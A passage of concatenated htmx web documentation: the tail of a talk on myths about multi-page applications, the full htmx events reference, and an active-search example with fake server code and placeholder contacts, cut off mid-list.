          navigator.serviceWorker.register('/sw.js').then(function(registration) {
            console.log('ServiceWorker registration successful with scope: ', registration.scope);
          }, function(err) {
            console.log('ServiceWorker registration failed: ', err);
          });
        });
      }
    </script>
    ```

By following these steps, you instruct the browser to serve cached assets whenever possible, drastically reducing load
times and improving the overall performance of your multi-page application.

![Image showing the registered service worker from the Chrome browser console.](/img/you-cant/service-worker.png)

Image showing the registered service worker from the Chrome browser console.

### [`Speculation Rules API`](https://developer.mozilla.org/en-US/docs/Web/API/Speculation_Rules_API): Prerender pages for instant page navigation.

If you have used **htmx-preload** or **instantpage.js,** you're familiar with prerendering and the problem
the [“Speculation Rules API”](https://developer.mozilla.org/en-US/docs/Web/API/Speculation_Rules_API) aims to solve. The
Speculation Rules API is designed to improve performance for future navigations. It has an expressive syntax for
specifying which links should be prefetched or prerendered on the current page.

![Speculation rules configuration example](/img/you-cant/speculation-rules.png)

Speculation rules configuration example

The script above is an example of how speculation rules are configured. It is a Javascript object, and without going
into detail, you can see that it uses keywords such as “where,” “and,” “not,” etc. to describe what elements should
either be prefetched or prerendered.

<video controls>
  <source src="/img/you-cant/prerender-vid.mp4">
</video>

[Example impact of prerendering (Chrome Team)](https://developer.chrome.com/docs/web-platform/prerender-pages)


## Myth 2: MPAs can't operate offline and save updates to retry when there's network

From the last sections, you know that service workers can cache everything and make our apps operate entirely offline.
But what if we want to save offline POST requests and retry them when there is internet?

![workbox-offline-cfg.png](/img/you-cant/workbox-offline-cfg.png)

The configuration javascript file above shows how to configure Workbox to support two common offline scenarios. Here,
you see background Sync, where we ask the service worker to cache any failed requests due to the internet and retry it
for up to 24 hours.

Below, we define an offline catch Handler, triggered when a request is made offline. We can return a template partial
with HTML or a JSON response or dynamically build a response based on the request input. The sky is the limit here.

## Myth 3: MPAs always flash white during page Transitions

In the service worker videos, we already saw that this will not happen if we configure caching and prerendering.
However, this myth was not generally true until 2019. Since 2019, most browsers withhold painting the next screen until
all the required assets for the next page are available or a timeout is reached, resulting in no flash of white while
transitioning between both pages. This only works when navigating within the same origin/domain.

<video controls>
  <source src="/img/you-cant/paint-holding.mp4">
</video>

[Paint holding documentation on chrome.com](https://developer.chrome.com/blog/paint-holding).



## Myth 4: Fancy Cross-document page transitions are not possible with MPAs.

The advent of single-page application frameworks made custom transitions between pages more popular. The allure of
different navigation styles comes from completely taking control of page navigation from the browsers. In practice, such
transitions have mostly been popular within the demos at web dev conference talks.

<video controls>
  <source src="/img/you-cant/page-transitions.mp4">
</video>


[Cross Document Transitions documentation on chrome.com](https://developer.chrome.com/docs/web-platform/view-transitions).

This remains a common argument for single-page applications, especially on Reddit and Hacker News comment sections.
However, browsers have been working towards solving this problem natively for the last couple of years. Chrome 126
rolled out cross-document view transitions. This means we can build our MPAs to include those fancy animations and
transitions between pages using CSS only or CSS and Javascript.

My favorite bit is that we might be able to create lovely cross-document transitions with CSS only:

![cross-doc-transitions-css.png](/img/you-cant/cross-doc-transitions-css.png)

You can quickly learn more on
the [Google Chrome announcement page](https://developer.chrome.com/docs/web-platform/view-transitions)

This link hosts a [multi-page application demo](https://view-transitions.netlify.app/stack-navigator/mpa-prerender/),
where you can play around with a rudimentary server-rendered application using the cross-document view transitions API
to simulate a stack-based animation.

## Myth 5: With htmx or MPAs, every user action must happen on the server.

I've heard this a lot when HTMX is discussed. So, there might be some confusion caused by the HTMX positioning. But you
don't have to do everything server-side. Many HTMX and regular MPA users continue to use Javascript, Alpine, or
Hyperscript where appropriate.

In situations where robust interactivity is helpful, you can lean into the component islands architecture using
WebComponents or any javascript framework (React, Angular, etc.) of your choice. That way, instead of your entire
application being an SPA, you can leverage those frameworks specifically for the bits of your application that need that
interactivity.

The example above shows a very interactive search component in the [APItoolkit](https://apitoolkit.io). It's a web
component implemented with lit-element, a zero-compile-step library for writing web components. So, the entire web
component event fits in a Javascript file.

<video controls>
  <source src="/img/you-cant/webcomponents-filter-element2.mp4">
</video>



## Myth 6: Operating directly on the DOM is slow. Therefore, it would be best to use React/Virtual DOM.

The speed of direct DOM operations was a major motivation for building ReactJS on and popularizing the virtual DOM
technology. While virtual DOM operations can be faster than direct DOM operations, this is only true for applications
that perform many complex operations and refresh in milliseconds, where that performance might be noticeable. But most
of us are not building such software.

The Svelte team wrote an excellent article
titled [“Virtual DOM is pure Overhead.”](https://svelte.dev/blog/virtual-dom-is-pure-overhead) I recommend reading it,
as it better explains why Virtual DOM doesn't matter for most applications.

## Myth 7: You still need to write JavaScript for every minor interactivity.

With the advancements in browser tech, you can avoid writing a lot of client-side Javascript in the first place. For
example, a standard action on the web is to show and hide things based on a button click or toggle. These days, you can
show and hide elements with only CSS and HTML, for example, by using an HTML input checkbox to track state. We can style
an HTML label as a button and give it a `for="checkboxID`" attribute, so clicking the label toggles the checkbox.

```jsx
<input id="published" class="hidden peer" type="checkbox"/>
<label for="published" class="btn">toggle content</label>

<div class="hidden peer-checked:block">
    Content to be toggled when label/btn is clicked
</div>
```
We can combine such a checkbox with HTMX intersect to fetch content from an endpoint when the button is clicked.

```html
<input id="published" class="peer" type="checkbox" name="status"/>
<div
        class="hidden peer-checked:block"
        hx-trigger="intersect once"
        hx-get="/log-item"
>Shell/Loading text etc
</div>
```

All the classes above are vanilla [Tailwind CSS](https://tailwindcss.com/) classes, but you can also write the CSS by
hand. Below is a video of that code being used to hide or reveal log items in the log explorer.

<video controls>
  <source src="/img/you-cant/expanding-log-item.mp4">
</video>

## Final Myth: Without a *“Proper”* frontend framework, your Client-side Javascript will be [Spaghetti and Unmaintainable](https://www.reddit.com/r/webdev/comments/bkk0gl/avoiding_the_vanillajs_spaghetticode/).

This may or may not be true.

### Who cares? I love Spaghetti.

I like to argue that some of the most productive days of the web were the PHP and JQuery spaghetti days. A lot of
software was built at that time, including many of the popular internet brands we know today. Most of them were built as
so-called spaghetti codes, which helped them ship their products early and survive long enough to refactor and not be
spaghetti.

## Conclusion

The entire point of this talk is to show you that a lot is possible with browsers in 2024. While we were not looking,
browsers have closed the gap and borrowed the best ideas from the single-page application revolution. For example,
WebComponents exist thanks to the lessons we learned from single-page applications.

So now, we can build very interactive, even offline web applications using mostly browser tools—HTML, CSS, maybe some
Javascript—and still not sacrifice much in terms of user experience.

<h3>The browser has come a long way. Give it a chance!</h3>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/events.md

+++
title = "Events"
+++

Htmx provides an extensive events system that can be used to modify and enhance behavior.  Events
are listed below.

### Event - `htmx:abort` {#htmx:abort}

This event is different than other events: htmx does not *trigger* it, but rather *listens* for it.

If you send an `htmx:abort` event to an element making a request, it will abort the request:

```html
<button id="request-button" hx-post="/example">Issue Request</button>
<button onclick="htmx.trigger('#request-button', 'htmx:abort')">Cancel Request</button>
```

### Event - `htmx:afterOnLoad` {#htmx:afterOnLoad}

This event is triggered after an AJAX `onload` has finished.  Note that this does not mean that the content
has been swapped or settled yet, only that the request has finished.

##### Details

* `detail.elt` - the element that dispatched the request or if the body no longer contains the element then the closest parent
* `detail.xhr` - the `XMLHttpRequest`
* `detail.target` - the target of the request
* `detail.requestConfig` - the configuration of the AJAX request

### Event - `htmx:afterProcessNode` {#htmx:afterProcessNode}

This event is triggered after htmx has initialized a DOM node.  It can be useful for extensions to build additional features onto a node.

##### Details

* `detail.elt` - the element being initialized

### Event - `htmx:afterRequest` {#htmx:afterRequest}

This event is triggered after an AJAX request has finished either in the case of a successful request (although
one that may have returned a remote error code such as a `404`) or in a network error situation.  This event
can be paired with [`htmx:beforeRequest`](#htmx:beforeRequest) to wrap behavior around a request cycle.

##### Details

* `detail.elt` - the element that dispatched the request or if the body no longer contains the element then the closest parent
* `detail.xhr` - the `XMLHttpRequest`
* `detail.target` - the target of the request
* `detail.requestConfig` - the configuration of the AJAX request
* `detail.successful` - true if the response has a 20x status code or is marked `detail.isError = false` in the
  `htmx:beforeSwap` event, else false
* `detail.failed` - true if the response does not have a 20x status code or is marked `detail.isError = true` in the
  `htmx:beforeSwap` event, else false

### Event - `htmx:afterSettle` {#htmx:afterSettle}

This event is triggered after the DOM has [settled](@/docs.md#request-operations).

##### Details

* `detail.elt` - the updated element
* `detail.xhr` - the `XMLHttpRequest`
* `detail.target` - the target of the request
* `detail.requestConfig` - the configuration of the AJAX request

### Event - `htmx:afterSwap` {#htmx:afterSwap}

This event is triggered after new content has been [swapped into the DOM](@/docs.md#swapping).

##### Details

* `detail.elt` - the swapped in element
* `detail.xhr` - the `XMLHttpRequest`
* `detail.target` - the target of the request
* `detail.requestConfig` - the configuration of the AJAX request

### Event - `htmx:beforeCleanupElement` {#htmx:beforeCleanupElement}

This event is triggered before htmx [disables](@/attributes/hx-disable.md) an element or removes it from the DOM.

##### Details

* `detail.elt` - the element to be cleaned up

### Event - `htmx:beforeOnLoad` {#htmx:beforeOnLoad}

This event is triggered before any response processing occurs.  If you call `preventDefault()` on the event to cancel it, no swap will occur.

##### Details

* `detail.elt` - the element that dispatched the request
* `detail.xhr` - the `XMLHttpRequest`
* `detail.target` - the target of the request
* `detail.requestConfig` - the configuration of the AJAX request

### Event - `htmx:beforeProcessNode` {#htmx:beforeProcessNode}

This event is triggered before htmx initializes a DOM node and has processed all of its `hx-` attributes.  This gives extensions and other external code the ability to modify the contents of a DOM node before it is processed.

##### Details

* `detail.elt` - the element being initialized

### Event - `htmx:beforeRequest` {#htmx:beforeRequest}

This event is triggered before an AJAX request is issued.  If you call `preventDefault()` on the event to cancel it, no request will occur.

##### Details

* `detail.elt` - the element that dispatched the request
* `detail.xhr` - the `XMLHttpRequest`
* `detail.target` - the target of the request
* `detail.boosted` - true if the request is via an element using boosting
* `detail.requestConfig` - the configuration of the AJAX request

### Event - `htmx:beforeSend` {#htmx:beforeSend}

This event is triggered right before a request is sent.  You may not cancel the request with this event.

##### Details

* `detail.elt` - the element that dispatched the request
* `detail.xhr` - the `XMLHttpRequest`
* `detail.target` - the target of the request
* `detail.requestConfig` - the configuration of the AJAX request

### Event - `htmx:beforeSwap` {#htmx:beforeSwap}

This event is triggered before any new content has been [swapped into the DOM](@/docs.md#swapping).
Most values on `detail` can be set to override subsequent behavior, other than where response headers take precedence.
If you call `preventDefault()` on the event to cancel it, no swap will occur.

You can modify the default swap behavior by modifying the `shouldSwap`, `selectOverride`, `swapOverride` and `target` properties of the event detail.
See the documentation on [configuring swapping](@/docs.md#modifying_swapping_behavior_with_events) for more details.

##### Details

* `detail.elt` - the target of the swap
* `detail.xhr` - the `XMLHttpRequest`
* `detail.boosted` - true if the request is via an element using boosting
* `detail.requestConfig` - the configuration of the AJAX request
* `detail.requestConfig.elt` - the element that dispatched the request
* `detail.shouldSwap` - if the content will be swapped (defaults to `false` for non-200 response codes)
* `detail.ignoreTitle` - if `true` any title tag in the response will be ignored
* `detail.isError` - whether error events should be triggered and also determines the values of `detail.successful` and `detail.failed` in later events
* `detail.serverResponse` - the server response as text to be used for the swap
* `detail.selectOverride` - add this to use instead of an [`hx-select`](@/attributes/hx-select.md) value
* `detail.swapOverride` - add this to use instead of an [`hx-swap`](@/attributes/hx-swap.md) value
* `detail.target` - the target of the swap

### Event - `htmx:beforeTransition` {#htmx:beforeTransition}

This event is triggered before a [View Transition](https://developer.mozilla.org/en-US/docs/Web/API/View_Transitions_API) 
wrapped swap occurs.  If you call `preventDefault()` on the event to cancel it, the View Transition will not occur and the normal swapping logic will
happen instead.

##### Details

* `detail.elt` - the element that dispatched the request
* `detail.xhr` - the `XMLHttpRequest`
* `detail.boosted` - true if the request is via an element using boosting
* `detail.requestConfig` - the configuration of the AJAX request
* `detail.shouldSwap` - if the content will be swapped (defaults to `false` for non-200 response codes)
* `detail.target` - the target of the swap

### Event - `htmx:configRequest` {#htmx:configRequest}

This event is triggered after htmx has collected parameters for inclusion in the request.  It can be
used to include or update the parameters that htmx will send:

```javascript
document.body.addEventListener('htmx:configRequest', function(evt) {
    evt.detail.parameters['auth_token'] = getAuthToken(); // add a new parameter into the mix
});
```

Note that if an input value appears more than once the value in the `parameters` object will be an array, rather
than a single value.

##### Details

* `detail.parameters` - the parameters that will be submitted in the request
* `detail.unfilteredParameters` - the parameters that were found before filtering by [`hx-params`](@/attributes/hx-params.md)
* `detail.headers` - the request headers
* `detail.elt` - the element that triggered the request
* `detail.target` - the target of the request
* `detail.verb` - the HTTP verb in use

### Event - `htmx:confirm` {#htmx:confirm}

This event is fired on every trigger for a request (not just on elements that have a hx-confirm attribute).
It allows you to cancel (or delay) issuing the AJAX request.
If you call `preventDefault()` on the event, it will not issue the given request.
The `detail` object contains a function, `evt.detail.issueRequest(skipConfirmation=false)`, that can be used to issue the actual AJAX request at a later point.
Combining these two features allows you to create an asynchronous confirmation dialog.

Here is a basic example that shows the basic usage of the `htmx:confirm` event without altering the default behavior:

```javascript
document.body.addEventListener('htmx:confirm', function(evt) {
  // 0. To modify the behavior only for elements with the hx-confirm attribute,
  //    check if evt.detail.target.hasAttribute('hx-confirm')

  // 1. Prevent the default behavior (this will prevent the request from being issued)
  evt.preventDefault();
  
  // 2. Do your own logic here
  console.log(evt.detail)

  // 3. Manually issue the request when you are ready
  evt.detail.issueRequest(); // or evt.detail.issueRequest(true) to skip the built-in window.confirm()
});
```

And here is an example using [sweet alert](https://sweetalert.js.org/guides/) on any element with a `confirm-with-sweet-alert="{question}"` attribute on it:

```javascript
document.body.addEventListener('htmx:confirm', function(evt) {
  // 1. The requirement to show the sweet alert is that the element has a confirm-with-sweet-alert
  //    attribute on it, if it doesn't we can return early and let the default behavior happen
  if (!evt.detail.target.hasAttribute('confirm-with-sweet-alert')) return

  // 2. Get the question from the attribute
  const question = evt.detail.target.getAttribute('confirm-with-sweet-alert');

  // 3. Prevent the default behavior (this will prevent the request from being issued)
  evt.preventDefault();

  // 4. Show the sweet alert
  swal({
    title: "Are you sure?",
    text: question || "Are you sure you want to continue?",
    icon: "warning",
    buttons: true,
    dangerMode: true,
  }).then((confirmed) => {
    if (confirmed) {
      // 5. If the user confirms, we can manually issue the request
      evt.detail.issueRequest(true); // true to skip the built-in window.confirm()
    }
  });
});
```

##### Details

* `detail.elt` - the element in question
* `detail.etc` - additional request information (mostly unused)
* `detail.issueRequest(skipConfirmation=false)` - a function that can be invoked to issue the request (should be paired with `evt.preventDefault()`!), if skipConfirmation is `true` the original `window.confirm()` is not executed
* `detail.path` - the path of the request
* `detail.target` - the element that triggered the request
* `detail.triggeringEvent` - the original event that triggered this request
* `detail.verb` - the verb of the request (e.g. `GET`)
* `detail.question` - the question passed to `hx-confirm` attribute (only available if `hx-confirm` attribute is present)

### Event - `htmx:historyCacheError` {#htmx:historyCacheError}

This event is triggered when an attempt to save the cache to `localStorage` fails

##### Details

* `detail.cause` - the `Exception` that was thrown when attempting to save history to `localStorage`

### Event - `htmx:historyCacheHit` {#htmx:historyCacheHit}

This event is triggered when a cache hit occurs when restoring history

You can prevent the history restoration via `preventDefault()` to allow alternative restore handling.
You can also override the details of the history restoration request in this event if required

##### Details

* `detail.historyElt` - the history element or body that will get replaced
* `detail.item.content` - the content of the cache that will be swapped in
* `detail.item.title` - the page title to update from the cache
* `detail.path` - the path and query of the page being restored
* `detail.swapSpec` - the swapSpec to be used containing the defatul swapStyle='innerHTML'

### Event - `htmx:historyCacheMiss` {#htmx:historyCacheMiss}

This event is triggered when a cache miss occurs when restoring history

You can prevent the history restoration via `preventDefault()` to allow alternative restore handling.
You can also modify the xhr request or other details before it makes the the request to restore history

##### Details

* `detail.historyElt` - the history element or body that will get replaced
* `detail.xhr` - the `XMLHttpRequest` that will retrieve the remote content for restoration
* `detail.path` - the path and query of the page being restored
* `detail.swapSpec` - the swapSpec to be used containing the defatul swapStyle='innerHTML'

### Event - `htmx:historyCacheMissLoadError` {#htmx:historyCacheMissLoadError}

This event is triggered when a cache miss occurs and a response has been retrieved from the server
for the content to restore, but the response is an error (e.g. `404`)

##### Details

* `detail.xhr` - the `XMLHttpRequest`
* `detail.path` - the path and query of the page being restored

### Event - `htmx:historyCacheMissLoad` {#htmx:historyCacheMissLoad}

This event is triggered when a cache miss occurs and a response has been retrieved successfully from the server
for the content to restore

You can modify the details before it makes the swap to restore the history

##### Details

* `detail.historyElt` - the history element or body that will get replaced
* `detail.xhr` - the `XMLHttpRequest`
* `detail.path` - the path and query of the page being restored
* `detail.response` - the response text that will be swapped in
* `detail.swapSpec` - the swapSpec to be used containing the defatul swapStyle='innerHTML'

### Event - `htmx:historyRestore` {#htmx:historyRestore}

This event is triggered when htmx handles a history restoration action

##### Details

* `detail.path` - the path and query of the page being restored
* `detail.cacheMiss` - set `true` if restore was a cache miss
* `detail.serverResponse` - with cache miss has the response text replaced
* `detail.item` - with cache hit the cache details that was restored

### Event - `htmx:beforeHistorySave` {#htmx:beforeHistorySave}

This event is triggered before the content is saved in the history cache.

You can modify the contents of the historyElt to remove 3rd party javascript changes so a clean copy of the content can be backed up to the history cache

##### Details

* `detail.path` - the path and query of the page being saved
* `detail.historyElt` - the history element about to be saved

### Event - `htmx:load` {#htmx:load}

This event is triggered when a new node is loaded into the DOM by htmx. Note that this event is also triggered when htmx is first initialized, with the document body as the target.

##### Details

* `detail.elt` - the newly added element

### Event - `htmx:noSSESourceError` {#htmx:noSSESourceError}

This event is triggered when an element refers to an SSE event in its trigger, but no parent SSE source has been defined

##### Details

* `detail.elt` - the element with the bad SSE trigger

### Event - `htmx:oobAfterSwap` {#htmx:oobAfterSwap}

This event is triggered as part of an [out of band swap](@/docs.md#oob_swaps) and behaves identically to an [after swap event](#htmx:afterSwap)

##### Details

* `detail.elt` - the swapped in element
* `detail.shouldSwap` - if the content will be swapped (defaults to `true`)
* `detail.target` - the target of the swap
* `detail.fragment` - the response fragment

### Event - `htmx:oobBeforeSwap` {#htmx:oobBeforeSwap}

This event is triggered as part of an [out of band swap](@/docs.md#oob_swaps) and behaves identically to a [before swap event](#htmx:beforeSwap)

##### Details

* `detail.elt` - the target of the swap
* `detail.shouldSwap` - if the content will be swapped (defaults to `true`)
* `detail.target` - the target of the swap
* `detail.fragment` - the response fragment

### Event - `htmx:oobErrorNoTarget` {#htmx:oobErrorNoTarget}

This event is triggered when an [out of band swap](@/docs.md#oob_swaps) does not have a corresponding element
in the DOM to switch with.

##### Details

* `detail.content` - the element with the bad oob `id`

### Event - `htmx:onLoadError` {#htmx:onLoadError}

This event is triggered when an error occurs during the `load` handling of an AJAX call

##### Details

* `detail.xhr` - the `XMLHttpRequest`
* `detail.elt` - the element that triggered the request
* `detail.target` - the target of the request
* `detail.exception` - the exception that occurred
* `detail.requestConfig` - the configuration of the AJAX request

### Event - `htmx:prompt` {#htmx:prompt}

This event is triggered after a prompt has been shown to the user with the [`hx-prompt`](@/attributes/hx-prompt.md)
attribute.  If this event is cancelled, the AJAX request will not occur.

##### Details

* `detail.elt` - the element that triggered the request
* `detail.target` - the target of the request
* `detail.prompt` - the user response to the prompt

### Event - `htmx:beforeHistoryUpdate` {#htmx:beforeHistoryUpdate}

This event is triggered before a history update is performed. It can be
used to modify the `path` or `type` used to update the history.

##### Details

* `detail.history` - the `path` and `type` (push, replace) for the history update
* `detail.xhr` - the `XMLHttpRequest`
* `detail.target` - the target of the request
* `detail.requestConfig` - the configuration of the AJAX request

### Event - `htmx:pushedIntoHistory` {#htmx:pushedIntoHistory}

This event is triggered after a URL has been pushed into history.

##### Details

* `detail.path` - the path and query of the URL that has been pushed into history

### Event - `htmx:replacedInHistory` {#htmx:replacedInHistory}

This event is triggered after a URL has been replaced in history.

##### Details

* `detail.path` - the path and query of the URL that has been replaced in history

### Event - `htmx:responseError` {#htmx:responseError}

This event is triggered when an HTTP error response occurs

##### Details

* `detail.xhr` - the `XMLHttpRequest`
* `detail.elt` - the element that triggered the request
* `detail.target` - the target of the request
* `detail.requestConfig` - the configuration of the AJAX request

### Event - `htmx:sendAbort` {#htmx:sendAbort}

This event is triggered when a request is aborted

##### Details

* `detail.xhr` - the `XMLHttpRequest`
* `detail.elt` - the element that triggered the request
* `detail.target` - the target of the request
* `detail.requestConfig` - the configuration of the AJAX request

### Event - `htmx:sendError` {#htmx:sendError}

This event is triggered when a network error prevents an HTTP request from occurring

##### Details

* `detail.xhr` - the `XMLHttpRequest`
* `detail.elt` - the element that triggered the request
* `detail.target` - the target of the request
* `detail.requestConfig` - the configuration of the AJAX request

### Event - `htmx:sseError` {#htmx:sseError}

This event is triggered when an error occurs with an SSE source

##### Details

* `detail.elt` - the element with the bad SSE source
* `detail.error` - the error
* `detail.source` - the SSE source

### Event - `htmx:swapError` {#htmx:swapError}

This event is triggered when an error occurs during the swap phase

##### Details

* `detail.xhr` - the `XMLHttpRequest`
* `detail.elt` - the element that triggered the request
* `detail.target` - the target of the request
* `detail.requestConfig` - the configuration of the AJAX request

### Event - `htmx:targetError` {#htmx:targetError}

This event is triggered when a bad selector is used for a [`hx-target`](@/attributes/hx-target.md) attribute (e.g. an
element ID without a preceding `#`)

##### Details

* `detail.elt` - the element that triggered the request
* `detail.target` - the bad CSS selector

### Event - `htmx:timeout` {#htmx:timeout}

This event is triggered when a request timeout occurs.  This wraps the typical `timeout` event of XMLHttpRequest.

Timeout time can be set using `htmx.config.timeout` or per element using [`hx-request`](@/attributes/hx-request.md)

##### Details

* `detail.elt` - the element that dispatched the request
* `detail.xhr` - the `XMLHttpRequest`
* `detail.target` - the target of the request
* `detail.requestConfig` - the configuration of the AJAX request

### Event - `htmx:trigger` {#htmx:trigger}

This event is triggered whenever an AJAX request would be, even if no AJAX request is specified. It
is primarily intended to allow `hx-trigger` to execute client-side scripts; AJAX requests have more
granular events available, like [`htmx:beforeRequest`](#htmx:beforeRequest) or [`htmx:afterRequest`](#htmx:afterRequest).

##### Details

* `detail.elt` - the element that triggered the request

### Event - `htmx:validateUrl` {#htmx:validateUrl}

This event is triggered before a request is made, allowing you to validate the URL that htmx is going to request.  If
`preventDefault()` is invoked on the event, the request will not be made.

```javascript
document.body.addEventListener('htmx:validateUrl', function (evt) {
  // only allow requests to the current server as well as myserver.com
  if (!evt.detail.sameHost && evt.detail.url.hostname !== "myserver.com") {
    evt.preventDefault();
  }
});
```

##### Details

* `detail.elt` - the element that triggered the request
* `detail.url` - the URL Object representing the URL that a request will be sent to.
* `detail.sameHost` - will be `true` if the request is to the same host as the document

### Event - `htmx:validation:validate` {#htmx:validation:validate}

This event is triggered before an element is validated.  It can be used with the `elt.setCustomValidity()` method
to implement custom validation rules.

```html
<form hx-post="/test">
  <input _="on htmx:validation:validate
               if my.value != 'foo'
                  call me.setCustomValidity('Please enter the value foo')
               else
                  call me.setCustomValidity('')"
         name="example">
</form>
```

##### Details

* `detail.elt` - the element to be validated

### Event - `htmx:validation:failed` {#htmx:validation:failed}

This event is triggered when an element fails validation. If `preventDefault()` is invoked on the event, the reportValidity() enabled by `htmx.config.reportValidityOfForms` will not be called.

##### Details

* `detail.elt` - the element that failed validation
* `detail.message` - the validation error message
* `detail.validity` - the validity object, which contains properties specifying how validation failed

### Event - `htmx:validation:halted` {#htmx:validation:halted}

This event is triggered when a request is halted due to validation errors.

##### Details

* `detail.elt` - the element that triggered the request
* `detail.errors` - an array of error objects with the invalid elements and errors associated with them

### Event - `htmx:xhr:abort` {#htmx:xhr:abort}

This event is triggered when an ajax request aborts

##### Details

* `detail.elt` - the element that triggered the request

### Event - `htmx:xhr:loadstart` {#htmx:xhr:loadstart}

This event is triggered when an ajax request starts

##### Details

* `detail.elt` - the element that triggered the request

### Event - `htmx:xhr:loadend` {#htmx:xhr:loadend}

This event is triggered when an ajax request finishes

##### Details

* `detail.elt` - the element that triggered the request

### Event - `htmx:xhr:progress` {#htmx:xhr:progress}

This event is triggered periodically when an ajax request that supports progress is in flight

##### Details

* `detail.elt` - the element that triggered the request

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/active-search.md

+++
title = "Active Search"
template = "demo.html"
+++

This example actively searches a contacts database as the user enters text.

We start with a search input and an empty table:

```html
<h3>
  Search Contacts
  <span class="htmx-indicator">
    <img src="/img/bars.svg" alt=""/> Searching...
   </span>
</h3>
<input class="form-control" type="search"
       name="search" placeholder="Begin Typing To Search Users..."
       hx-post="/search"
       hx-trigger="input changed delay:500ms, keyup[key=='Enter'], load"
       hx-target="#search-results"
       hx-indicator=".htmx-indicator">

<table class="table">
    <thead>
    <tr>
      <th>First Name</th>
      <th>Last Name</th>
      <th>Email</th>
    </tr>
    </thead>
    <tbody id="search-results">
    </tbody>
</table>
```

The input issues a `POST` to `/search` on the [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) event and sets the body of the table to be the resulting content.

We add the `delay:500ms` modifier to the trigger to delay sending the query until the user stops typing.  Additionally,
we add the `changed` modifier to the trigger to ensure we don't send new queries when the user doesn't change the
value of the input (e.g. they hit an arrow key, or pasted the same value).

We can use multiple triggers by separating them with a comma, this way we add 2 more triggers:
- `keyup[key=='Enter']` triggers once enter is pressed. We use [event filters](/attributes/hx-trigger#standard-event-filters) here to check for [the key property in the KeyboardEvent object](https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/key).
- `load` in order to show all results initially on load.

Finally, we show an indicator when the search is in flight with the `hx-indicator` attribute.

{{ demoenv() }}

<script>
    
    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // routes
    init("/init", function(request, params){
      return searchUI();
    });
    
    onPost(/\/search.*/, function(request, params){
        var search = params['search'];
        var contacts = dataStore.findContactsMatching(search);
        return resultsUI(contacts);
      });
      
    // templates
    function searchUI() {
      return `  <h3>
Search Contacts
<span class="htmx-indicator">
<img src="/img/bars.svg" alt=""/> Searching...
</span>
</h3>

<input class="form-control" type="search"
       name="search" placeholder="Begin Typing To Search Users..."
       hx-post="/search"
       hx-trigger="input changed delay:500ms, keyup[key=='Enter'], load"
       hx-target="#search-results"
       hx-indicator=".htmx-indicator">

<table class="table">
<thead>
<tr>
  <th>First Name</th>
  <th>Last Name</th>
  <th>Email</th>
</tr>
</thead>
<tbody id="search-results">
</tbody>
</table>`;
    }
    
    function resultsUI(contacts){
        var txt = "";
        for (var i = 0; i < contacts.length; i++) {
          var c = contacts[i];
          txt += "<tr><td>" + c.FirstName + "</td><td>" + c.LastName + "</td><td>" + c.Email + "</td></tr>\n";
        }
        return txt;  
    }
    
    //datastore
    
     var dataStore = function(){
          var data = [
            { "FirstName": "Venus", "LastName": "Grimes", "Email": "lectus.rutrum@Duisa.edu", "City": "Ankara" },
            { "FirstName": "Fletcher", "LastName": "Owen", "Email": "metus@Aenean.org", "City": "Niort" },
            { "FirstName": "William", "LastName": "Hale", "Email": "eu.dolor@risusodio.edu", "City": "Te Awamutu" },
            { "FirstName": "TaShya", "LastName": "Cash", "Email": "tincidunt.orci.quis@nuncnullavulputate.co.uk", "City": "Titagarh" },
            { "FirstName": "Kevyn", "LastName": "Hoover", "Email": "tristique.pellentesque.tellus@Cumsociis.co.uk", "City": "Cuenca" },
            { "FirstName": "Jakeem", "LastName": "Walker", "Email": "Morbi.vehicula.Pellentesque@faucibusorci.org", "City": "St. Andrä" },
            { "FirstName": "Malcolm", "LastName": "Trujillo", "Email": "sagittis@velit.edu", "City": "Fort Resolution" },
            { "FirstName": "Wynne", "LastName": "Rice", "Email": "augue.id@felisorciadipiscing.edu", "City": "Kinross" },
            { "FirstName": "Evangeline", "LastName": "Klein", "Email": "adipiscing.lobortis@sem.org", "City": "San Giovanni in Galdo" },
            { "FirstName": "Jennifer", "LastName": "Russell", "Email": "sapien.Aenean.massa@risus.com", "City": "Laives/Leifers" },
            { "FirstName": "Rama", "LastName": "Freeman", "Email": "Proin@quamPellentesquehabitant.net", "City": "Flin Flon" },
            { "FirstName": "Jena", "LastName": "Mathis", "Email": "non.cursus.non@Phaselluselit.com", "City": "Fort Simpson" },
            { "FirstName": "Alexandra", "LastName": "Maynard", "Email": "porta.elit.a@anequeNullam.ca", "City": "Nazilli" },
            { "FirstName": "Tallulah", "LastName": "Haley", "Email": "ligula@id.net", "City": "Bay Roberts" },
            { "FirstName": "Timon", "LastName": "Small", "Email": "velit.Quisque.varius@gravidaPraesent.org", "City": "Girona" },
            { "FirstName": "Randall", "LastName": "Pena", "Email": "facilisis@Donecconsectetuer.edu", "City": "Edam" },
            { "FirstName": "Conan", "LastName": "Vaughan", "Email": "luctus.sit@Classaptenttaciti.edu", "City": "Nadiad" },
            { "FirstName": "Dora", "LastName": "Allen", "Email": "est.arcu.ac@Vestibulumante.co.uk", "City": "Renfrew" },
            { "FirstName": "Aiko", "LastName": "Little", "Email": "quam.dignissim@convallisest.net", "City": "Delitzsch" },
            { "FirstName": "Jessamine", "LastName": "Bauer", "Email": "taciti.sociosqu@nibhvulputatemauris.co.uk", "City": "Offida" },
            { "FirstName": "Gillian", "LastName": "Livingston", "Email": "justo@atiaculisquis.com", "City": "Saskatoon" },
            { "FirstName": "Laith", "LastName": "Nicholson", "Email": "elit.pellentesque.a@diam.org", "City": "Tallahassee" },
            { "FirstName": "Paloma", "LastName": "Alston", "Email": "cursus@metus.org", "City": "Cache Creek" },
            { "FirstName": "Freya", "LastName": "Dunn", "Email": "Vestibulum.accumsan@metus.co.uk", "City": "Heist-aan-Zee" },
            { "FirstName": "Griffin", "LastName": "Rice", "Email": "justo@tortordictumeu.net", "City": "Montpelier" },
            { "FirstName": "Catherine", "LastName": "West", "Email": "malesuada.augue@elementum.com", "City": "Tarnów" },
            { "FirstName": "Jena", "LastName": "Chambers", "Email": "erat.Etiam.vestibulum@quamelementumat.net", "City": "Konya" },
            { "FirstName": "Neil", "LastName": "Rodriguez", "Email": "enim@facilisis.com", "City": "Kraków" },
            { "FirstName": "Freya", "LastName": "Charles", "Email": "metus@nec.net", "City": "Arzano" },
